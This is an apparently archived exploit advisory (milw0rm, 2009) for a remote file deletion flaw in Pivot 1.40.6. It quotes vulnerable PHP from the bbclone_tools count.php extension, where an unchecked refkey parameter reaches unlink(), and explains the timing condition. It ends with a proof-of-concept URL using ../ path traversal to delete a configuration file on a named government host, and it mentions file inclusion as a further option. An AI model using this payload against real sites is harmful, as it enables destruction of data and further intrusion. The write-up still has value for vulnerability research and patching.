477bcbdcc0
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69 lines
1.6 KiB
Text
Executable file
69 lines
1.6 KiB
Text
Executable file
Pivot 1.40.6 Remote File Delete
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Alfons Luja
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Vuln :
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extensions/bbclone_tools/hr_conf.php line 20
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...
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$bbclone_debug = false; //is never change
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...
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=========================================================
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extensions/bbclone_tools/count.php
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...
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if ( ($_GET["refkey"]!="") && file_exists("$refkeydir/".$_GET["refkey"])) { [1]
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if ($bbclone_debug==true) { echo "Refkey found..<br />"; }
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// Getting the time offset between the web and file server (if there is any)
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$offset = timediffwebfile($bbclone_debug);
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if ((time() - filectime("$refkeydir/".$_GET["refkey"])) < (1000+$offset)) { [2]
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include("do_count.php");
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if ($bbclone_debug!=true) {
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header("content-type:image/gif");
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readfile("pixel.gif");
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} else {
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echo "Counted normally";
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}
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die();
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} else if ($bbclone_debug==true) {
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echo "too old!";
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}
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if ($bbclone_debug!=true) { [3]
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unlink("$refkeydir/".$_GET["refkey"]);
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}
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}
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...
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1] . We can put existent file
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2] . Time dependences
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If current time - last modification time < 1000 + $offset (usually 1001,1002 not more)
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We must wait a moment other way 'exploit dosent work'
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3] . $bbclone_debug is always false so if condition from point [2] == false
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We can delete some file
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If register globals is ON we can using this bug to include some file
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poc :
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http://www.pentagon.gov/~pivot_1406_full/extensions/bbclone_tools/count.php?refkey=../../../extensions/bbclone_tools/hr_conf.php
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# milw0rm.com [2009-03-18]
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